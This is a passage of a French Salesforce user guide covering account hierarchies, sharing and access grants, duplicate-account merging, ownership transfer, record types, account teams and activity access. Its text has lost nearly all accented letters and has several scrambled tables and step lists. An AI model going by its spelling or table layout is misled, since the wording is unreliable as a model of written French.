Suivi de l'historique des champs la page 410.

Affichage des comptes principaux

Disponible avec : Toutes les ditions

Autorisations utilisateur requises

Pour afficher des comptes :

Autorisation de lecture sur les comptes

Pour afficher des comptes principaux :

Autorisation de lecture sur les comptes

La hirarchie des comptes prsente les comptes associs via le champ Compte principal, offrant ainsi une vue globale de
la socit et de ses filiales. Dans la hirarchie, les comptes sont placs en retrait pour indiquer qu'ils sont des filiales du compte
principal situ au-dessus d'eux.

Pour afficher la hirarchie des comptes, cliquez sur Afficher la hirarchie en regard du nom de compte sur la page des
dtails du compte. La page Hirarchie des comptes affiche jusqu' 500 comptes enfant.
Pour classer un compte en tant que filiale, modifiez le compte de la filiale et entrez le nom d'un compte existant dans le
champ Compte principal. Vous pouvez galement cliquer sur l'icne de recherche pour rechercher (ou crer) un compte
principal.

Le compte principal doit tre un compte existant pour pouvoir tre saisi et enregistr dans ce champ.
Pour les socits possdant plusieurs centres d'activit, vous pouvez galement utiliser le champ Site du compte afin de
distinguer les diffrents sites.
Si votre organisation utilise des services, les comptes associs via le champ Compte principal ne doivent pas ncessairement
se trouver dans le mme service.

Comptes

Guide de l'utilisateur | Partage de comptes | 1061

Le champ Compte principal et le lien Afficher la hirarchie ne sont pas pris en charge avec les comptes personnels.

Voir aussi :
Affichage et modification de comptes
Qu'est-ce qu'un compte personnel ?

Partage de comptes
Disponible avec : Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition

L'administrateur dfinit le modle de partage, ainsi que les niveaux d'accs par dfaut aux comptes des territoires de l'organisation.
Vous pouvez toutefois tendre les privilges de partage de vos donnes compte par compte. Le partage de compte vous permet
d'augmenter l'accs vos comptes ; vous ne pouvez pas restreindre l'accs au-del des niveaux d'accs par dfaut de votre
entreprise.
Pour afficher et grer les dtails du partage, cliquez sur Partage dans la page de dtails du compte. Cette page rpertorie les
utilisateurs, les groupes, les rles et les territoires qui disposent d'un accs partag au compte. Cette page permet d'effectuer
les oprations suivantes :

Pour afficher une liste d'lments filtre, slectionnez une liste prdfinie dans la liste droulante Vue ou cliquez sur Crer
une nouvelle vue pour dfinir une vue personnalise. Pour modifier ou supprimer une vue que vous avez cre, slectionnez-la
dans la liste droulante Vue, puis cliquez sur Modifier.
Cliquez sur Ajouter pour accorder un accs l'enregistrement aux autres utilisateurs, groupes, rles ou territoires.
Remarque: Lorsque vous partagez un compte, Salesforce.com vous invite partager tout contact, opportunit ou
requte associ, jusqu' et y compris votre niveau d'accs. Les utilisateurs des ditions Enterprise, Unlimited et
Developer peuvent partager des enregistrements associs partir des pages de dtails des enregistrements.
Assurez-vous que les utilisateurs disposent au minimum de l'autorisation Lire dans les enregistrements partags.
Vous pouvez galement partager l'accs un compte en crant une quipe de comptes.

Cliquez sur Dvelopper la liste pour afficher tous les utilisateurs qui disposent de l'accs l'enregistrement.
Pour les rgles de partage manuelles que vous crez, cliquez sur Modifier ou Suppr en regard d'un lment de la liste afin
de modifier ou de supprimer le niveau d'accs. Pour les comptes, vous pouvez galement modifier la rgle de partage
Responsable.

Voir aussi :
Octroi d'accs aux enregistrements
Affichage des utilisateurs bnficiant de droits d'accs
Prsentation de la gestion des territoires
Partage des opportunits
Partage des contacts
Partage de requtes
Prsentation d'une quipe de comptes

Comptes

Guide de l'utilisateur | Partage de comptes | 1062

Octroi d'accs aux enregistrements

Le partage de comptes et de contacts est disponible dans : Professional Edition, Enterprise Edition, Unlimited Edition et
Developer Edition
Le partage de campagnes, de requtes, d'enregistrements d'objets personnaliss, de pistes et d'opportunits est disponible
dans EnterpriseEdition, UnlimitedEdition et Developer Edition

Les utilisateurs ont la possibilit d'octroyer manuellement l'accs certains types d'enregistrement. Dans certains cas, le fait
d'accorder l'accs donne galement accs tous les enregistrements associs. Par exemple, si vous accordez un autre utilisateur
le droit d'accder votre compte, celui-ci a automatiquement accs toutes les opportunits et requtes de ce compte. Pour
octroyer des privilges de partage un enregistrement, vous devez tre le responsable de cet enregistrement, un utilisateur
ayant un droit d'accs intgral, un administrateur, ou (si vos paramtres de partage contrlent l'accs par le biais des hirarchies)
un utilisateur ayant un rle hirarchique suprieur celui du responsable de l'enregistrement.
Remarque: Les utilisateurs obtiennent l'accs aux donnes selon leur position dans les hirarchies, en fonction d'un
paramtre dans les valeurs par dfaut l'chelle de l'organisation.
Pour accorder l'accs un enregistrement :
1.
2.
3.
4.

Cliquez sur Partage au niveau de l'enregistrement partager.

Cliquez sur Ajouter.
Dans la liste droulante, slectionnez le type de groupe, d'utilisateur, de rle ou de territoire ajouter.
Choisissez les groupes, utilisateurs, rles ou territoires auxquels vous souhaitez accorder l'accs en ajoutant leur nom la
liste Nouveau partage.
5. Choisissez le niveau d'accs l'enregistrement que vous partagez et aux enregistrements associs dont vous tes responsable.
Les niveaux d'accs possibles sont :
6. Lorsque vous partagez une prvision, slectionnez Soumission autorise pour autoriser l'utilisateur, le groupe ou le
rle soumettre la prvision.
7. Slectionnez le motif du partage pour permettre aux utilisateurs et aux administrateurs de connatre la source de partage.
Pour plus d'informations sur les motifs de partage, consultez la section Cration de motifs de partageApex la page 174.
8. Cliquez sur Enregistrer.
Modification ou suppression du niveau d'accs d'un enregistrement
Pour modifier les niveaux d'accs d'un enregistrement, cliquez sur Partage dans l'enregistrement, puis sur Modifier en regard
du groupe, de l'utilisateur, du rle ou du territoire dont vous souhaitez modifier l'accs. Pour supprimer l'accs partag d'un

Comptes

Guide de l'utilisateur | Partage de comptes | 1063

groupe, d'un utilisateur, d'un rle ou d'un territoire, cliquez sur Partage dans l'enregistrement, puis sur Suppr en regard du
groupe, de l'utilisateur, du rle ou du territoire dont vous souhaitez supprimer l'accs.

Voir aussi :
Partage manuel d'une prvision
Partage de comptes
Partage des campagnes
Partage de requtes
Partage des contacts
Partage d'enregistrements d'objet personnalis
Partage de pistes
Partage des opportunits
Affichage des utilisateurs bnficiant de droits d'accs
Prsentation des quipes de requte
Contrler l'accs par le biais des hirarchies

Affichage des utilisateurs bnficiant de droits d'accs

Disponible avec : Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition

Lorsque vous avez accord l'accs l'un de vos enregistrements, vous pouvez afficher la liste des utilisateurs bnficiant de
droits d'accs l'enregistrement et aux informations associes. Vous pouvez galement connatre le motif pour lequel chaque
utilisateur dispose de ce droit d'accs.
1. Cliquez sur Partage au niveau de l'enregistrement concern.
2. Cliquez sur Dvelopper la liste pour afficher une liste dtaille de tous les utilisateurs bnficiant d'un accs suprieur aux
paramtres par dfaut l'chelle de l'entreprise.
La liste affiche galement le niveau d'accs de chaque utilisateur pour l'enregistrement et tous les enregistrements associs.
Pour afficher une liste d'lments filtre, slectionnez une liste prdfinie dans la liste droulante Vue ou cliquez sur Crer
une nouvelle vue pour dfinir une vue personnalise.
De plus, lors de l'affichage du partage des prvisions, la liste affiche si l'utilisateur peut soumettre une prvision.
3. Cliquez sur Pourquoi ? ct du nom d'un utilisateur pour savoir pourquoi il a obtenu l'accs.
La liste prsente toutes les raisons pour lesquelles l'utilisateur bnficie du droit accs. L'utilisateur dispose du niveau d'accs
le plus lev.

Comptes

Guide de l'utilisateur | Fusion de comptes en double | 1064

Remarque: Les utilisateurs obtiennent l'accs aux donnes selon leur position dans les hirarchies, en fonction
d'un paramtre dans les valeurs par dfaut l'chelle de l'organisation.

Voir aussi :
Partage manuel d'une prvision
Partage de comptes
Partage des contacts
Partage des opportunits
Partage de requtes
Partage d'enregistrements d'objet personnalis
Dfinition du modle de partage par dfaut l'chelle de votre entreprise
Contrler l'accs par le biais des hirarchies

Fusion de comptes en double

Les comptes professionnels sont disponibles dans : Toutes les ditions
Les comptes personnels sont disponibles dans : Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour afficher des comptes :

Autorisation de lecture sur les comptes

Pour fusionner des comptes professionnels :

Suppression sur les comptes

Pour fusionner des comptes personnels :

Suppression sur les comptes

AND
Autorisation de lecture sur les contacts

Pour fusionner des comptes en double :

1. Dans l'onglet Comptes, cliquez sur Fusion de comptes dans la section Outils.
2. Saisissez une chane de recherche pour localiser les comptes en double.
Par exemple, vous pouvez saisir unte* pour rechercher les comptes en double intituls Acme et Acme Inc.. N'utilisez
pas le nom local du compte. Puis cliquez sur Rechercher les comptes.
3. Cochez les lignes des comptes que vous souhaitez fusionner. Vous pouvez slectionner jusqu' trois comptes. Cliquez sur
Suivant.
4. Slectionnez un compte comme enregistrement principal. Toute donne inscrite dans un champ masqu ou en lecture
seule sera extraite de l'enregistrement principal. Toutefois, les administrateurs et les utilisateurs autoriss modifier les
champs en lecture seule pourront slectionner manuellement les champs en lecture seule conserver.
5. Slectionnez les champs conserver pour chaque enregistrement.

Comptes

Guide de l'utilisateur | Fusion de comptes en double | 1065

En cas de conflit de donnes, les champs de la colonne gauche sont prslectionns et la ligne s'affiche en bleu.
6. Cliquez sur le bouton Fusionner pour effectuer la fusion.
Conseils concernant la fusion de comptes
Tenez compte des lments suivants lors de la fusion de comptes :

Vous pouvez fusionner des comptes si vous tes reconnu en tant qu'administrateur, responsable du compte ou si vous tes
un utilisateur situ en amont du responsable du compte dans la hirarchie des rles, dot des autorisations utilisateur
adquates.
Lorsque vous fusionnez deux comptes dont vous n'tes pas propritaire, vous devez disposer de l'autorisation de Suppression
sur les comptes et de l'autorisation de Modification sur les opportunits et les requtes. Vous devez disposer de l'autorisation
de Suppression sur les comptes, car vous supprimez l'un des comptes lorsque vous fusionnez un compte. Vous devez disposer
de l'autorisation de Modification sur les opportunits et les requtes, car la modification du champ du nom de compte (ID
de compte) modifie les opportunits ou les requtes associes aux comptes que vous fusionnez.
Tout lment li un compte en double sera associ au nouveau compte fusionn.
Dans Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition, les rgles de partage sont appliques
au nouveau compte fusionn. Le cas chant, le partage manuel dfini au niveau de l'enregistrement principal est appliqu
au compte fusionn.
Tous les enregistrements en double supprims sont placs dans la Corbeille.
Lorsque vous fusionnez des comptes possdant des territoires et que la case cocher Exclure des rgles
d'attribution de compte est dslectionne dans les deux comptes d'origine, les rgles d'attribution de comptes sont
excutes sur le nouveau compte afin de dterminer ses territoires. En outre, tout territoire ajout manuellement aux comptes
originaux l'est galement au nouveau compte.
Lorsque vous fusionnez des comptes possdant des territoires et que la case Exclure des rgles d'attribution
de compte est coche dans au moins l'un des comptes originaux :
-

Le compte nouvellement fusionn possde tous les territoires des comptes originaux.
Les rgles d'attribution de comptes ne sont pas excutes sur le compte nouvellement fusionn.
Si un territoire est attribu l'un des comptes originaux en fonction des rgles d'attribution de comptes, l'attribution
au nouveau compte se base galement sur les mmes rgles, mme si ce nouveau compte ne les satisfait pas.
Tout territoire attribu manuellement l'un des comptes originaux l'est galement au nouveau compte.
Tout territoire ajout manuellement un compte et attribu l'autre compte en fonction des rgles est galement ajout
manuellement au nouveau compte.

Conseils concernant la fusion de comptes personnels

Tenez compte des lments suivants lors de la fusion de comptes personnels :

Si votre entreprise utilise des comptes personnels, les rsultats de la recherche de doublons concernent la fois les comptes
professionnels et les comptes personnels. Toutefois, vous ne pouvez pas fusionner un compte personnel avec un compte
professionnel, ou inversement. Les comptes personnels sont signals par l'icne de compte personnel ( ).
Vous ne pouvez pas fusionner des comptes personnels autoriss utiliser le portail Client.

Conseils concernant la fusion de comptes associs des portails

Tenez compte des lments suivants lors de la fusion de comptes associs des portails :

Vous devez disposer de l'autorisation de profil Grer les utilisateurs pour fusionner des comptes associs des portails.
Vous pouvez fusionner des comptes dont les contacts sont associs au mme type de portail. Par exemple, vous pouvez
fusionner des comptes dont les contacts sont associs un portail partenaire ou un portail client, mais vous ne pouvez pas
fusionner un compte dont les contacts sont associs un portail partenaire avec un compte dont les contacts sont associs
un portail client.

Comptes

Guide de l'utilisateur | Ajout de noms traduits | 1066

Lorsque vous fusionnez des comptes dont les contacts sont associs plusieurs portails du mme type, l'accs d'un compte
un portail spcifique ne change pas. Cela est d au profil d'utilisateur du portail, qui dtermine le portail auquel une
personne peut avoir accs.

Lorsque vous fusionnez un compte partenaire avec un compte Non-partenaire, le compte Partenaire doit tre le compte
principal.
Lorsque vous fusionnez des comptes Partenaire avec un compte de Non-partenaire, le propritaire ne peut pas tre modifi.
Pour garantir que les comptes fusionns inclueront les contacts associs un portail, slectionnez le compte en mme temps
que les utilisateurs du portail en tant qu'enregistrement principal lors du processus de fusion.

Voir aussi :
Fusion des contacts en double
Qu'est-ce qu'un compte personnel ?
Cration de comptes partenaires

Ajout de noms traduits

Disponible avec : Toutes les ditions

Un nom local constitue la traduction d'un champ de compte, de contact ou de piste correspondant. Par exemple, vous pouvez
enregistrer le nom d'un compte dans la langue par dfaut de votre entreprise, ainsi que dans la langue du compte ou de
l'utilisateur. Les champs pour lesquels vous pouvez dfinir des noms locaux sont les suivants :
Champ standard

Champ de nom local

Nom du compte

Nom du compte (local)

Contact : Prnom

Contact : Prnom (local)

Contact : Nom

Contact : Nom (local)

Piste : Socit

Piste : Nom de la socit (local)

Piste : Prnom

Piste : Prnom (local)

Piste : Nom

Piste : Nom (local)

Les noms locaux n'affectent pas les paramtres de langue de l'utilisateur. Selon les paramtres de mise en page que vous avez
dfinis, les noms locaux peuvent apparatre sur la page de dtails ou sur la page de modification.
Pour activer la possibilit d'utiliser des noms locaux, votre administrateur doit commencer par contacter Salesforce.com, puis
ajouter les champs de nom local correspondants vos paramtres de prsentation de page.

Voir aussi :
Gestion des prsentations de page

Comptes

Guide de l'utilisateur | Modification de la responsabilit | 1067

Modification de la responsabilit
Disponible avec : Contact Manager Edition, Group Edition, Professional Edition, Enterprise Edition, Unlimited Edition
et Developer Edition

Pour transfrer la responsabilit d'un enregistrement :

1. Avant de transfrer un enregistrement vers un nouveau responsable, assurez-vous que ce dernier dispose au moins de
l'autorisation Lire dans l'objet.
2. Cliquez sur Modifier en regard du champ Responsable.
Le lien Modifier affiche uniquement la page de dtails et non la page de modification. Si le lien Modifier n'est pas affich,
vous ne pouvez pas modifier la responsabilit.
3. Saisissez un nouveau responsable ou slectionnez un utilisateur l'aide de l'icne de recherche.
Dans les organisations dans lesquelles le portail Client Salesforce.com ou le portail PRM est activ, vous pouvez filtrer les
rsultats qui s'affichent dans la bote de dialogue de recherche des utilisateurs, en slectionnant une file d'attente, un groupe
d'utilisateurs dans la liste droulante Responsable ou Attribu . Ni le groupe Utilisateur, ni le groupe Rles et
subordonns internes ne contiennent de portail Client ou d'utilisateur partenaire.
4. Activez la case Envoyer une notification par e-mail pour informer le nouveau responsable.
L'adresse e-mail d'expdition de la notification constitue l'adresse e-mail de retour, telle que dfinie dans le champ Adresse
e-mail des paramtres de message.
Pour les requtes utilises dans Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition, le texte
de l'e-mail est dtermin par le paramtre Modle d'affectation de requte dfini dans les paramtres de support.
Pour les autres enregistrements, le texte de l'e-mail est automatiquement gnr et ne peut pas tre personnalis.
5. Selon le type d'objet que vous transfrez et vos autorisations utilisateur, les cases cocher suivantes sont galement affiches :
Case cocher

Description

Modifier un service

Transfert des enregistrements vers le service du nouveau

Comptes et pistes, si vous
responsable. Tous les enregistrements relatifs au compte sont tre autoris afficher ou
eux aussi transfrs vers le nouveau service.
modifier le champ Service

Transfrer les
Transfert des opportunits ouvertes appartenant d'autres
opportunits en cours utilisateurs associs au compte.
n'appartenant pas au
responsable du compte
existant

Affiche pour

Comptes

Transfrer les
opportunits closes

Transfert des opportunits closes associes au compte. Cette Comptes

option ne s'applique qu'aux opportunits closes possdes
par le responsable du compte ; les opportunits closes dont
d'autres utilisateurs sont responsables ne sont pas modifies.

Transfrer les
requtes en cours
appartenant au

Transfert de toute requte associe au compte appartenant Comptes

au responsable de compte existant.

Comptes

Guide de l'utilisateur | Modification de la responsabilit | 1068

Case cocher

Description

Affiche pour

responsable du compte
existant
Transfrer les
requtes closes

Transfert des requtes closes associes au compte. Cette

Comptes
option ne s'applique qu'aux requtes closes possdes par le
responsable du compte ; les requtes closes dont d'autres
utilisateurs sont responsables ne sont pas modifies.

Conserver l'quipe de Transfert de tous les membres d'quipes du compte vers le

compte
nouveau responsable.

Comptes

Conserver l'quipe de Conservation de l'quipe de ventes lors du transfert de

ventes
l'opportunit vers le nouveau responsable. Si cette case est

Opportunits

dsactive, tous les membres d'quipe de ventes sont

supprims lors du transfert de l'opportunit vers le nouveau
responsable.
Remarque: Si vous transfrez des opportunits
closes, l'quipe de ventes est conserve, quel que soit
le statut de ce paramtre.

6. Cliquez sur Enregistrer pour achever la procdure.

Remarque: Aprs modification de la responsabilit, le paramtrage de partage par dfaut est rtabli pour la visibilit
du responsable prcdent sauf si cet utilisateur fait partie d'une quipe de comptes ou de ventes. Par exemple, si le
responsable prcdent d'un compte appartient une quipe de comptes, cet utilisateur possde l'accs en lecture seule
ou celui prcis dans le paramtrage par dfaut de l'entreprise pour les comptes, la valeur la plus leve s'appliquant.
L'accs du responsable prcdent aux enregistrements associs ne change pas. Ce comportement est identique pour
les responsables d'opportunits qui sont membres d'une quipe de ventes condition de modifier la responsabilit
l'aide de l'API. Lorsque vous modifiez la responsabilit d'une opportunit dans Salesforce.com, il est possible de
slectionner le niveau d'accs souhait.

Voir aussi :
Transfert en masse d'enregistrements
Attribution de requtes
Modification des auteurs de documents
Modification des paramtres de message
Prsentation de la gestion des territoires

Comptes

Guide de l'utilisateur | Modification du champ de type d'enregistrement | 1069

Modification du champ de type d'enregistrement

Disponible avec : Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour changer le type d'un enregistrement :

Autorisation de modification sur l'objet

Les types d'enregistrement dterminent les valeurs de la liste de slection qui sont disponibles lors de la cration et de la
modification d'un enregistrement. Lorsque vous crez un enregistrement, vous pouvez choisir son type si votre profil comporte
plusieurs types d'enregistrement et que vous n'avez pas configur les prfrences de type d'enregistrement de manire ignorer
la page de slection du type. Lors de la modification d'enregistrements existants, vous pouvez modifier le type d'enregistrement
depuis la page de dtails des enregistrements.
1. Cliquez sur Modifier en regard du champ Type d'enregistrement d'une page de dtails d'enregistrement.
Remarque: Pour les membres de campagne ,cliquez sur Modifier en regard du champ Type de membre de
campagne d'une page de dtails d'enregistrement. Vous devez disposer de l'autorisation Utilisateur marketing
pour modifier le type de membre de campagne.
2.
3.
4.
5.

Slectionnez un type d'enregistrement. Les types d'enregistrement disponibles sont rpertoris en bas de la page.
Cliquez sur Poursuivre.
Modifiez l'enregistrement.
Cliquez sur Enregistrer.

Voir aussi :
Dfinition des prfrences de type d'enregistrement
Qu'est-ce qu'un compte personnel ?

quipes de compte
Prsentation d'une quipe de comptes
Disponible avec : Enterprise Edition, Unlimited Edition et Developer Edition

Une quipe de compte est un groupe d'utilisateurs travaillant sur un mme compte. Par exemple, votre quipe de comptes peut
comprendre un responsable du sponsor, un reprsentant du support ddi ainsi qu'un responsable projet.
Vous pouvez crer une quipe de comptes pour chaque compte dont vous tes responsable. Lorsque vous slectionnez l'un des
membres d'une quipe de comptes, choisissez le rle jou par cette personne au niveau du compte. Selon votre modle de
partage, vous avez galement la possibilit d'indiquer le niveau d'accs au compte dont bnficie chaque membre de l'quipe
de comptes, ainsi que l'ensemble des requtes, opportunits ou contacts associs au compte. Ainsi, vous pouvez attribuer un
accs en lecture seule certains membres de l'quipe et un accs en lecture-criture d'autres membres.
Vous pouvez galement dfinir une quipe de comptes par dfaut. Votre quipe de comptes par dfaut devra inclure les
utilisateurs avec lesquels vous travaillez gnralement sur vos comptes. Vous avez la possibilit d'ajouter automatiquement
votre quipe de comptes par dfaut tous vos comptes.
Dans une vue de liste personnalise, vous pouvez filtrer les listes de comptes par les quipes de comptes dont vous tes membre.
Lors de la cration ou de la modification d'une vue de liste personnalise pour les comptes, slectionnez simplement le filtre
Mes quipes de comptes.
Remarque: Si une vue de liste de compte a t cre avec le filtre Mes quipes de compte, ce filtre est exclus lors
de l'affichage de la vue de liste dans le portail PRM.
Dans des rapports sur les comptes, vous pouvez filtrer les comptes par les quipes de comptes dont vous tes membre.

Voir aussi :
Configuration des quipes de comptes
Ajout de membres une quipe de comptes
Modification de membres d'une quipe de comptes
Suppression de membres de l'quipe de comptes
Dfinition de votre quipe de comptes par dfaut
Prsentation des quipes de vente.
Rapports sur les comptes et les contacts

quipes de compte

Guide de l'utilisateur | Configuration des quipes de comptes | 1071

Configuration des quipes de comptes

Disponible avec : Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour activer les quipes de compte :

Autorisation de personnalisation de l'application

Pour configurer les rles de l'quipe :

Autorisation de personnalisation de l'application

Vos utilisateurs peuvent ajouter des membres d'quipes de comptes aux comptes. Comme les quipes de vente sur les
opportunits, les quipes de comptes sont composes d'utilisateurs qui travaillent ensemble sur des comptes.
Pour accder la page Configuration de l'quipe de comptes, cliquez sur Configuration Personnaliser Compte
quipes de comptes. Sur la page Configuration de l'quipe de comptes, cliquez sur les liens appropris pour procder aux
actions suivantes :
Dfinition des rles de l'quipe
Chaque membre d'une quipe de comptes joue un rle par rapport au compte, par exemple Responsable de compte ou
Responsable projet . Vous pouvez personnaliser les rles de l'quipe de comptes de votre organisation :
1. Cliquez sur Rles de l'quipe.
2. Modifiez les entres existantes ou crez-en d'autres.
3. Cliquez sur Enregistrer.
Remplacement des rles de l'quipe
Si vous avez modifi les rles de votre quipe et que vous souhaitez mettre jour tous les enregistrements existants, cliquez
sur Remplacer les rles de l'quipe pour remplacer de faon globale les valeurs de tous les enregistrements existants. Pour
plus d'informations, reportez-vous Remplacement des listes de slection la page 388.
Remarque: Les quipes de comptes partagent des rles avec les quipes de vente au niveau des opportunits. Si vous
supprimez l'un des rles d'une quipe de comptes, ce dernier ne sera plus rpertori en tant que rle de l'quipe de
vente d'une opportunit.
Activation ou dsactivation des quipes de comptes
Pour activer ou dsactiver les quipes de comptes :
1. Cliquez sur le lien Activer les quipes de comptes ou Dsactiver les quipes de comptes.
2. Cochez ou dslectionnez la case quipes de comptes actives, puis cliquez sur Enregistrer. L'activation des
quipes de comptes permet vos utilisateurs de crer et d'utiliser des quipes de comptes dans les comptes.
3. Si vous activez les quipes de comptes, slectionnez les prsentations de page de compte qui doivent inclure la nouvelle
liste associe quipe de comptes, puis cliquez sur Enregistrer.

quipes de compte

Guide de l'utilisateur | Dfinition de votre quipe de comptes par dfaut | 1072

Remarque: La dsactivation des quipes de comptes supprime les quipes de comptes de tous les comptes et la liste
associe quipe de comptes de toutes les prsentations de page.
En outre, vous ne pouvez pas dsactiver les quipes de comptes de votre entreprise si des membres de l'quipe sont
rfrencs dans un script Apex. Par exemple, si un script rfrence le champ Membre de l'quipe (reprsent par
AccountTeamMember dans le code), les quipes de comptes ne peuvent pas tre dsactives.

Voir aussi :
Prsentation d'une quipe de comptes
Ajout de membres une quipe de comptes
Dfinition de votre quipe de comptes par dfaut

Dfinition de votre quipe de comptes par dfaut

Disponible avec : Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour configurer des quipes de comptes par dfaut :

Autorisation de modification sur les comptes

Une quipe de compte est un groupe d'utilisateurs travaillant sur un mme compte. Par exemple, votre quipe de comptes peut
comprendre un responsable du sponsor, un reprsentant du support ddi ainsi qu'un responsable projet.
Ajout de membres une quipe de comptes par dfaut
Pour ajouter des utilisateurs votre quipe de comptes par dfaut :
1.
2.
3.
4.

Cliquez sur Configuration Mes informations personnelles Informations personnelles.

Cliquez sur Ajouter dans la liste associe quipe de compte par dfaut.
Slectionnez les utilisateurs que vous voulez ajouter comme membres de votre quipe de comptes par dfaut.
Slectionnez les niveaux d'accs des diffrents membres pour chacun de vos comptes, ainsi que les requtes, les opportunits
et les contacts associs ces comptes.
Accs au contact n'est pas disponible lorsque la valeur par dfaut des contacts l'chelle de l'entreprise est dfinie sur

Contrl par parent.

5. Slectionnez pour chaque membre un rle dans l'quipe de comptes, par exemple Responsable de canaux .
6. Cochez la case Ajouter automatiquement mon quipe de compte par dfaut... pour ajouter votre quipe
de comptes par dfaut tous les comptes que vous crez et tous les comptes qui vous sont transfrs.
7. Cochez la case Mettre jour les quipes de compte pour appliquer les modifications apportes l'quipe de
comptes par dfaut tous les comptes existants.
8. Cliquez sur Enregistrer.
Modification et suppression de membres de l'quipe de comptes par dfaut
Pour modifier les niveaux d'accs ou le rle d'un membre d'quipe par dfaut, cliquez sur Modifier en regard du nom de
l'utilisateur dans la liste associe quipe de compte par dfaut.

quipes de compte

Guide de l'utilisateur | Ajout de membres une quipe de comptes | 1073

Pour supprimer un utilisateur de votre quipe de vente par dfaut :

1. Cliquez sur Suppr en regard du nom de l'utilisateur dans la liste associe quipe de compte par dfaut.
2. Cochez la case Supprimer cet utilisateur... pour supprimer l'utilisateur des quipes de comptes existantes.
3. Cliquez sur Supprimer pour achever la procdure.
Pour modifier ou supprimer un membre de l'quipe par dfaut d'un compte spcifique, consultez la liste associe l'quipe de
comptes concernant ce compte.

Ajout de membres une quipe de comptes

Disponible avec : Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour afficher des comptes :

Autorisation de lecture sur les comptes

Pour ajouter des membres une quipe :

Autorisation de lecture sur les comptes

Pour ajouter des membres d'quipe de comptes un compte :

1. Affichez le compte.
2. Cliquez sur Ajouter dans la liste associe quipe de comptes.
3. Slectionnez les utilisateurs que vous voulez ajouter comme membres de l'quipe de comptes.
Vous ne pouvez pas ajouter des utilisateurs du portail client haut volume la page 1315 des quipes.
4. Slectionnez l'accs de chaque membre aux enregistrements associs au compte.
5. Slectionnez le rle de chaque membre dans l'quipe de comptes, par exemple, ''Responsable de compte''.
6. Cliquez sur Enregistrer.
Dans une vue de liste personnalise, vous pouvez filtrer les listes de comptes par les quipes de comptes dont vous tes membre.
Lors de la cration ou de la modification d'une vue de liste personnalise pour les comptes, slectionnez simplement le filtre
Mes quipes de comptes. Dans des rapports sur les comptes, vous pouvez filtrer les comptes par les quipes de comptes
dont vous tes membre.
Vous pouvez gnrer des rapports relatifs aux membres d'quipe de comptes des comptes dont vous tes responsable. Il vous
est galement possible de produire des rapports pour obtenir des informations concernant les comptes et les quipes de comptes
dont vous tes membre.

Voir aussi :
Nouvelle attribution de plusieurs membres d'quipe
Configuration des quipes de comptes
Modification de membres d'une quipe de comptes
Suppression de membres de l'quipe de comptes

quipes de compte

Guide de l'utilisateur | Modification de membres d'une quipe de comptes | 1074

Modification de membres d'une quipe de comptes

Disponible avec : Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour afficher des comptes :

Autorisation de lecture sur les comptes

Pour modifier des membres d'une quipe :

Autorisation de modification sur les comptes

Pour chacun de vos comptes, vous pouvez modifier les niveaux d'accs et le rle des divers membres existants de l'quipe de
comptes.
1. Affichez le compte.
2. Cliquez sur Modifier en regard du nom du membre dans les lments associs quipe de comptes.
3. Slectionnez les niveaux d'accs, les contacts, les opportunits et les requtes du compte.
Accs au contact n'est pas disponible lorsque la valeur par dfaut des contacts l'chelle de l'entreprise est dfinie sur

Contrl par parent.

4. Slectionnez le rle du membre de l'quipe.
5. Cliquez sur Enregistrer.
Vous pouvez galement cliquer sur :

Ajouter pour ajouter des membres une quipe.

Ajouter une quipe par dfaut pour inclure votre quipe par dfaut.
Ajouter une quipe de comptes pour inclure votre quipe de comptes. Cette option n'est disponible que pour les quipe
de vente.
Afficher l'accs pour afficher l'accs de partage de chaque membre. Cela affiche l'accs de partage gnral, quel que soit
l'accs de partage spcifi lors de l'ajout en tant que membre de l'quipe. Par exemple, une rgle de partage peut offrir
un membre de l'quipe un accs plus important que celui spcifi lors de l'ajout du membre de l'quipe.
Supprimer tout pour supprimer tous les membres de l'quipe.

Suppression de membres de l'quipe de comptes

Disponible avec : Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour afficher des comptes :

Autorisation de lecture sur les comptes

Pour supprimer des membres d'une quipe :

Autorisation de modification sur les comptes

Vous pouvez supprimer tous les membres d'une quipe de comptes pour chaque compte dont vous tes responsable.

quipes de compte

Guide de l'utilisateur | Suppression de membres de l'quipe de comptes | 1075

1. Affichez le compte.
2. Cliquez sur Suppr en regard du nom du membre dans la liste associe quipe de comptes.
Cliquez sur Supprimer tout si vous souhaitez supprimer tous les membres d'une quipe de comptes simultanment.
3. Cochez la case Supprimer si vous voulez galement supprimer l'utilisateur de l'quipe de vente des opportunits ouvertes
associes au compte.
4. Cliquez sur Supprimer pour achever la procdure.

Voir aussi :
Nouvelle attribution de plusieurs membres d'quipe

Activits
Prsentation des activits
Disponible avec : Toutes les ditions

Les activits incluent des tches et des vnements du calendrier. Vous pouvez dfinir et suivre les activits de nombreux objets
(campagnes, comptes, contacts et pistes).
Les activits s'affichent dans les listes associes, les enregistrements associs et dans l'onglet Accueil. Lorsque vous crez une
activit, vous pouvez la dcrire et spcifier ses attributs, tels que priorit, chance et statut.
Remarque: Les administrateurs peuvent modifier les champs d'activit et contrler les prsentations de page des tches
et des vnements.

Voir aussi :
Accessibilit des activits
Affichage des activits
Cration d'activits
Modification des activits

Accessibilit des activits

Disponible avec : Toutes les ditions

L'affichage et la modification des tches et des vnements dpendent de plusieurs facteurs. Utilisez le tableau suivant pour
dfinir qui peut accder aux activits :
Pour ce faire :

Vous devez :

Afficher une activit

tre attribu l'activit ou

tre au-dessus de l'utilisateur attribu l'activit dans la
hirarchie des rles ou
Disposer au moins d'un accs en lecture l'enregistrement
auquel est associe l'activit ou
Disposer de l'autorisation au niveau de l'objet Afficher
tout dans l'enregistrement associ, dans lequel le modle
de partage de cet enregistrement est Contrl par parent
ou
Disposer de l'autorisation Afficher toutes les donnes

Activits

Guide de l'utilisateur | Accessibilit des activits | 1077

Pour ce faire :

Vous devez :

Crer une activit

Disposer des autorisations Modifier les tches et

Modifier les vnements

AND

Modifier une activit

